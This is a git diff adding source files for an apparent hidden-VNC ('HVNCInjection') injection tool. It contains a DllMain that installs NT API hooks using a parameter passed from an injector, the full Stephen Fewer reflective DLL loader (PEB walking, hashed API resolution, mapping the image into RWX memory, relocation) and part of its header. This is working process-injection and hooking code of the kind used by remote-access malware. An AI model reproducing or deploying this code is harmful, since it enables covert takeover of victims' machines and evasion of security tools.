+ if (lpReserved != NULL)
+ *(HMODULE*)lpReserved = hAppInstance;
+ break;
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+ DisableThreadLibraryCalls(hinstDLL);
+
+ // Install NT API hooks with the parameter passed from the injector
+ InstallNtApiHooks(g_lpReflectiveParameter);
+ break;
+ case DLL_PROCESS_DETACH:
+ // Remove hooks on detach
+ RemoveNtApiHooks();
+ break;
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+ return bReturnValue;
+}
\ No newline at end of file
diff --git a/HVNCInjection/src/ReflectiveLoader.c b/HVNCInjection/src/ReflectiveLoader.c
new file mode 100644
index 0000000..fe29f09
--- /dev/null
+++ b/HVNCInjection/src/ReflectiveLoader.c
@@ -0,0 +1,500 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#include "ReflectiveLoader.h"
+//===============================================================================================//
+// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
+HINSTANCE hAppInstance = NULL;
+// Store the parameter passed to ReflectiveLoader so DllMain can access it
+LPVOID g_lpReflectiveParameter = NULL;
+//===============================================================================================//
+#pragma intrinsic( _ReturnAddress )
+// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
+// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
+// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
+// available (and no inline asm available under x64).
+__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
+//===============================================================================================//
+
+// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
+// otherwise the DllMain at the end of this file will be used.
+
+// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
+// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
+
+// This is our position independent reflective DLL loader/injector
+#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
+#else
+DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
+#endif
+{
+ // the functions we need
+ LOADLIBRARYA pLoadLibraryA = NULL;
+ GETPROCADDRESS pGetProcAddress = NULL;
+ VIRTUALALLOC pVirtualAlloc = NULL;
+ NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
+
+ USHORT usCounter;
+
+ // the initial location of this image in memory
+ ULONG_PTR uiLibraryAddress;
+ // the kernels base address and later this images newly loaded base address
+ ULONG_PTR uiBaseAddress;
+
+ // variables for processing the kernels export table
+ ULONG_PTR uiAddressArray;
+ ULONG_PTR uiNameArray;
+ ULONG_PTR uiExportDir;
+ ULONG_PTR uiNameOrdinals;
+ DWORD dwHashValue;
+
+ // variables for loading this image
+ ULONG_PTR uiHeaderValue;
+ ULONG_PTR uiValueA;
+ ULONG_PTR uiValueB;
+ ULONG_PTR uiValueC;
+ ULONG_PTR uiValueD;
+ ULONG_PTR uiValueE;
+
+ // STEP 0: calculate our images current base address
+
+ // we will start searching backwards from our callers return address.
+ uiLibraryAddress = caller();
+
+ // loop through memory backwards searching for our images base address
+ // we dont need SEH style search as we shouldnt generate any access violations with this
+ while (TRUE)
+ {
+ if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
+ {
+ uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+ // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
+ // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
+ if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
+ {
+ uiHeaderValue += uiLibraryAddress;
+ // break if we have found a valid MZ/PE header
+ if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
+ break;
+ }
+ }
+ uiLibraryAddress--;
+ }
+
+ // STEP 1: process the kernels exports for the functions our loader needs...
+
+ // get the Process Enviroment Block
+#ifdef WIN_X64
+ uiBaseAddress = __readgsqword(0x60);
+#else
+#ifdef WIN_X86
+ uiBaseAddress = __readfsdword(0x30);
+#else WIN_ARM
+ uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
+#endif
+#endif
+
+ // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
+ uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
+
+ // get the first entry of the InMemoryOrder module list
+ uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
+ while (uiValueA)
+ {
+ // get pointer to current modules name (unicode string)
+ uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
+ // set bCounter to the length for the loop
+ usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
+ // clear uiValueC which will store the hash of the module name
+ uiValueC = 0;
+
+ // compute the hash of the module name...
+ do
+ {
+ uiValueC = ror((DWORD)uiValueC);
+ // normalize to uppercase if the madule name is in lowercase
+ if (*((BYTE*)uiValueB) >= 'a')
+ uiValueC += *((BYTE*)uiValueB) - 0x20;
+ else
+ uiValueC += *((BYTE*)uiValueB);
+ uiValueB++;
+ } while (--usCounter);
+
+ // compare the hash with that of kernel32.dll
+ if ((DWORD)uiValueC == KERNEL32DLL_HASH)
+ {
+ // get this modules base address
+ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
+
+ // get the VA of the modules NT Header
+ uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+
+ // get the VA of the export directory
+ uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
+
+ // get the VA for the array of name pointers
+ uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
+
+ // get the VA for the array of name ordinals
+ uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
+
+ usCounter = 3;
+
+ // loop while we still have imports to find
+ while (usCounter > 0)
+ {
+ // compute the hash values for this function name
+ dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
+
+ // if we have found a function we want we get its virtual address
+ if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
+ {
+ // get the VA for the array of addresses
+ uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
+
+ // use this functions name ordinal as an index into the array of name pointers
+ uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
+
+ // store this functions VA
+ if (dwHashValue == LOADLIBRARYA_HASH)
+ pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
+ else if (dwHashValue == GETPROCADDRESS_HASH)
+ pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
+ else if (dwHashValue == VIRTUALALLOC_HASH)
+ pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
+
+ // decrement our counter
+ usCounter--;
+ }
+
+ // get the next exported function name
+ uiNameArray += sizeof(DWORD);
+
+ // get the next exported function name ordinal
+ uiNameOrdinals += sizeof(WORD);
+ }
+ }
+ else if ((DWORD)uiValueC == NTDLLDLL_HASH)
+ {
+ // get this modules base address
+ uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
+
+ // get the VA of the modules NT Header
+ uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+
+ // get the VA of the export directory
+ uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
+
+ // get the VA for the array of name pointers
+ uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
+
+ // get the VA for the array of name ordinals
+ uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
+
+ usCounter = 1;
+
+ // loop while we still have imports to find
+ while (usCounter > 0)
+ {
+ // compute the hash values for this function name
+ dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
+
+ // if we have found a function we want we get its virtual address
+ if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
+ {
+ // get the VA for the array of addresses
+ uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
+
+ // use this functions name ordinal as an index into the array of name pointers
+ uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
+
+ // store this functions VA
+ if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
+ pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
+
+ // decrement our counter
+ usCounter--;
+ }
+
+ // get the next exported function name
+ uiNameArray += sizeof(DWORD);
+
+ // get the next exported function name ordinal
+ uiNameOrdinals += sizeof(WORD);
+ }
+ }
+
+ // we stop searching when we have found everything we need.
+ if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
+ break;
+
+ // get the next entry
+ uiValueA = DEREF(uiValueA);
+ }
+
+ // STEP 2: load our image into a new permanent location in memory...
+
+ // get the VA of the NT Header for the PE to be loaded
+ uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+
+ // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
+ // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
+ uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+
+ // we must now copy over the headers
+ uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
+ uiValueB = uiLibraryAddress;
+ uiValueC = uiBaseAddress;
+
+ while (uiValueA--)
+ *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
+
+ // STEP 3: load in all of our sections...
+
+ // uiValueA = the VA of the first section
+ uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
+
+ // itterate through all sections, loading them into memory.
+ uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
+ while (uiValueE--)
+ {
+ // uiValueB is the VA for this section
+ uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
+
+ // uiValueC if the VA for this sections data
+ uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
+
+ // copy the section over
+ uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
+
+ while (uiValueD--)
+ *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
+
+ // get the VA of the next section
+ uiValueA += sizeof(IMAGE_SECTION_HEADER);
+ }
+
+ // STEP 4: process our images import table...
+
+ // uiValueB = the address of the import directory
+ uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
+
+ // we assume their is an import table to process
+ // uiValueC is the first entry in the import table
+ uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
+
+ // itterate through all imports
+ while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
+ {
+ // use LoadLibraryA to load the imported module into memory
+ uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
+
+ // uiValueD = VA of the OriginalFirstThunk
+ uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
+
+ // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
+ uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
+
+ // itterate through all imported functions, importing by ordinal if no name present
+ while (DEREF(uiValueA))
+ {
+ // sanity check uiValueD as some compilers only import by FirstThunk
+ if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
+ {
+ // get the VA of the modules NT Header
+ uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
+
+ // uiNameArray = the address of the modules export directory entry
+ uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+
+ // get the VA of the export directory
+ uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
+
+ // get the VA for the array of addresses
+ uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
+
+ // use the import ordinal (- export ordinal base) as an index into the array of addresses
+ uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
+
+ // patch in the address for this imported function
+ DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
+ }
+ else
+ {
+ // get the VA of this functions import by name struct
+ uiValueB = (uiBaseAddress + DEREF(uiValueA));
+
+ // use GetProcAddress and patch in the address for this imported function
+ DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
+ }
+ // get the next imported function
+ uiValueA += sizeof(ULONG_PTR);
+ if (uiValueD)
+ uiValueD += sizeof(ULONG_PTR);
+ }
+
+ // get the next import
+ uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
+ }
+
+ // STEP 5: process all of our images relocations...
+
+ // calculate the base address delta and perform relocations (even if we load at desired image base)
+ uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
+
+ // uiValueB = the address of the relocation directory
+ uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
+
+ // check if their are any relocations present
+ if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
+ {
+ // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
+ uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
+
+ // and we itterate through all entries...
+ while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
+ {
+ // uiValueA = the VA for this relocation block
+ uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
+
+ // uiValueB = number of entries in this relocation block
+ uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
+
+ // uiValueD is now the first entry in the current relocation block
+ uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
+
+ // we itterate through all the entries in the current block...
+ while (uiValueB--)
+ {
+ // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
+ // we dont use a switch statement to avoid the compiler building a jump table
+ // which would not be very position independent!
+ if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
+ *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
+ else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
+ *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
+#ifdef WIN_ARM
+ // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
+ else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
+ {
+ register DWORD dwInstruction;
+ register DWORD dwAddress;
+ register WORD wImm;
+ // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
+ dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
+ // flip the words to get the instruction as expected
+ dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
+ // sanity chack we are processing a MOV instruction...
+ if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
+ {
+ // pull out the encoded 16bit value (the high portion of the address-to-relocate)
+ wImm = (WORD)(dwInstruction & 0x000000FF);
+ wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
+ wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
+ wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
+ // apply the relocation to the target address
+ dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
+ // now create a new instruction with the same opcode and register param.
+ dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
+ // patch in the relocated address...
+ dwInstruction |= (DWORD)(dwAddress & 0x00FF);
+ dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
+ dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
+ dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
+ // now flip the instructions words and patch back into the code...
+ *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
+ }
+ }
+#endif
+ else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
+ *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
+ else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
+ *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
+
+ // get the next entry in the current relocation block
+ uiValueD += sizeof(IMAGE_RELOC);
+ }
+
+ // get the next entry in the relocation directory
+ uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
+ }
+ }
+
+ // STEP 6: call our images entry point
+
+ // uiValueA = the VA of our newly loaded DLL/EXE's entry point
+ uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
+
+ // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
+ pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
+
+ // call our respective entry point, fudging our hInstance value
+#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
+ // Store the parameter globally so DllMain can access it
+ g_lpReflectiveParameter = lpParameter;
+ // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
+ ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
+#else
+ // if we are injecting an DLL via a stub we call DllMain with no parameter
+ ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
+#endif
+
+ // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
+ return uiValueA;
+}
+//===============================================================================================//
+#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
+{
+ BOOL bReturnValue = TRUE;
+ switch (dwReason)
+ {
+ case DLL_QUERY_HMODULE:
+ if (lpReserved != NULL)
+ *(HMODULE*)lpReserved = hAppInstance;
+ break;
+ case DLL_PROCESS_ATTACH:
+ hAppInstance = hinstDLL;
+ break;
+ case DLL_PROCESS_DETACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ break;
+ }
+ return bReturnValue;
+}
+
+#endif
+//===============================================================================================//
diff --git a/HVNCInjection/src/ReflectiveLoader.h b/HVNCInjection/src/ReflectiveLoader.h
new file mode 100644
index 0000000..af149a1
--- /dev/null
+++ b/HVNCInjection/src/ReflectiveLoader.h
@@ -0,0 +1,203 @@
+//===============================================================================================//
+// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without modification, are permitted
+// provided that the following conditions are met:
+//
+// * Redistributions of source code must retain the above copyright notice, this list of
+// conditions and the following disclaimer.
+//
+// * Redistributions in binary form must reproduce the above copyright notice, this list of
+// conditions and the following disclaimer in the documentation and/or other materials provided
+// with the distribution.
+//
+// * Neither the name of Harmony Security nor the names of its contributors may be used to
+// endorse or promote products derived from this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
+// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
+// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+// POSSIBILITY OF SUCH DAMAGE.
+//===============================================================================================//
+#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
+#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
+//===============================================================================================//
+#define WIN32_LEAN_AND_MEAN
+#include
+#include
+#include
+
+#include "ReflectiveDLLInjection.h"
+
+typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
+typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
+typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
+typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
+
+#define KERNEL32DLL_HASH 0x6A4ABC5B
+#define NTDLLDLL_HASH 0x3CFA685D
+
+#define LOADLIBRARYA_HASH 0xEC0E4E8E
+#define GETPROCADDRESS_HASH 0x7C0DFCAA
+#define VIRTUALALLOC_HASH 0x91AFCA54
+#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
+
+#define IMAGE_REL_BASED_ARM_MOV32A 5
+#define IMAGE_REL_BASED_ARM_MOV32T 7
+
+#define ARM_MOV_MASK (DWORD)(0xFBF08000)
+#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
+#define ARM_MOVW 0xF2400000
+#define ARM_MOVT 0xF2C00000
+
+#define HASH_KEY 13
+//===============================================================================================//
+#pragma intrinsic( _rotr )
+
+__forceinline DWORD ror(DWORD d)
+{
+ return _rotr(d, HASH_KEY);
+}
+
+__forceinline DWORD hash(char* c)
+{
+ register DWORD h = 0;
+ do
+ {
+ h = ror(h);
+ h += *c;
+ } while (*++c);
+
+ return h;
+}
+//===============================================================================================//
+typedef struct _UNICODE_STR
+{
+ USHORT Length;
+ USHORT MaximumLength;
+ PWSTR pBuffer;
+} UNICODE_STR, * PUNICODE_STR;
+
+// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
+//__declspec( align(8) )
+typedef struct _LDR_DATA_TABLE_ENTRY
+{
+ //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ PVOID DllBase;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STR FullDllName;
+ UNICODE_STR BaseDllName;
+ ULONG Flags;
+ SHORT LoadCount;
+ SHORT TlsIndex;
+ LIST_ENTRY HashTableEntry;
+ ULONG TimeDateStamp;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+
+// WinDbg> dt -v ntdll!_PEB_LDR_DATA
+typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
+{
+ DWORD dwLength;
+ DWORD dwInitialized;
+ LPVOID lpSsHandle;
+ LIST_ENTRY InLoadOrderModuleList;
+ LIST_ENTRY InMemoryOrderModuleList;
+ LIST_ENTRY InInitializationOrderModuleList;
+ LPVOID lpEntryInProgress;
+} PEB_LDR_DATA, * PPEB_LDR_DATA;
+
+// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
+typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
+{
+ struct _PEB_FREE_BLOCK* pNext;
+ DWORD dwSize;
+} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
+
+// struct _PEB is defined in Winternl.h but it is incomplete
+// WinDbg> dt -v ntdll!_PEB
+typedef struct __PEB // 65 elements, 0x210 bytes
+{
+ BYTE bInheritedAddressSpace;
+ BYTE bReadImageFileExecOptions;
+ BYTE bBeingDebugged;
+ BYTE bSpareBool;
+ LPVOID lpMutant;
+ LPVOID lpImageBaseAddress;
+ PPEB_LDR_DATA pLdr;
+ LPVOID lpProcessParameters;
+ LPVOID lpSubSystemData;
+ LPVOID lpProcessHeap;
+ PRTL_CRITICAL_SECTION pFastPebLock;
+ LPVOID lpFastPebLockRoutine;
+ LPVOID lpFastPebUnlockRoutine;
+ DWORD dwEnvironmentUpdateCount;
+ LPVOID lpKernelCallbackTable;
+ DWORD dwSystemReserved;
+ DWORD dwAtlThunkSListPtr32;
+ PPEB_FREE_BLOCK pFreeList;
+ DWORD dwTlsExpansionCounter;
+ LPVOID lpTlsBitmap;
+ DWORD dwTlsBitmapBits[2];
+ LPVOID lpReadOnlySharedMemoryBase;
+ LPVOID lpReadOnlySharedMemoryHeap;
+ LPVOID lpReadOnlyStaticServerData;
+ LPVOID lpAnsiCodePageData;
+ LPVOID lpOemCodePageData;
+ LPVOID lpUnicodeCaseTableData;
+ DWORD dwNumberOfProcessors;
+ DWORD dwNtGlobalFlag;
+ LARGE_INTEGER liCriticalSectionTimeout;
